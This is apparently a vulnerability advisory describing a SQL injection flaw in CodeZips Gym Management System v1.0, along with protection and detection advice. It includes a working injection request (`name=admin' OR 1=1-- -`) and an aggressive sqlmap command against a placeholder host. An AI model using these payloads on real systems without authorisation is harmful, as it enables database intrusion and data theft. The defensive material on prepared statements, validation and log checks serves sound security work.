How CVE-2025-29208 Works
CVE-2025-29208 is a critical SQL injection vulnerability in CodeZips Gym Management System v1.0. The flaw exists in the `/dashboard/admin/deleteroutine.php` file, where the `name` parameter is improperly sanitized before being used in SQL queries. Attackers can manipulate this parameter to inject malicious SQL commands, potentially leading to unauthorized database access, data leakage, or system compromise. The lack of input validation allows arbitrary SQL execution, enabling attackers to exfiltrate sensitive information, modify database entries, or escalate privileges.
DailyCVE Form:
Platform: CodeZips Gym Management
Version: v1.0
Vulnerability: SQL Injection
Severity: Critical
Date: 04/29/2025
What Undercode Say:
Exploitation:
- Craft a malicious HTTP request to `/dashboard/admin/deleteroutine.php` with SQL payloads:
POST /dashboard/admin/deleteroutine.php HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded name=admin' OR 1=1-- -
2. Use automated tools like SQLmap for exploitation:
sqlmap -u "http://target.com/dashboard/admin/deleteroutine.php" --data="name=test" --risk=3 --level=5
Protection:
1. Implement prepared statements:
$stmt = $conn->prepare("DELETE FROM routines WHERE name = ?");
$stmt->bind_param("s", $_POST['name']);
$stmt->execute();
2. Apply input validation:
if (!preg_match('/^[a-zA-Z0-9\s]+$/', $_POST['name'])) {
die("Invalid input");
}
3. Enable WAF rules to block SQLi patterns.
Detection:
1. Scan with OWASP ZAP:
zap-cli quick-scan --spider -o '-config scanner.attackStrength=HIGH' http://target.com
2. Check logs for suspicious queries:
grep -i "union|select|from|where" /var/log/apache2/access.log
Mitigation:
- Patch the system or upgrade to the latest version.
2. Restrict database user permissions.
3. Deploy network-level filtering for SQLi attempts.
Impact Analysis:
- Data breach risk: High
- System compromise: Medium
- Privilege escalation: Possible
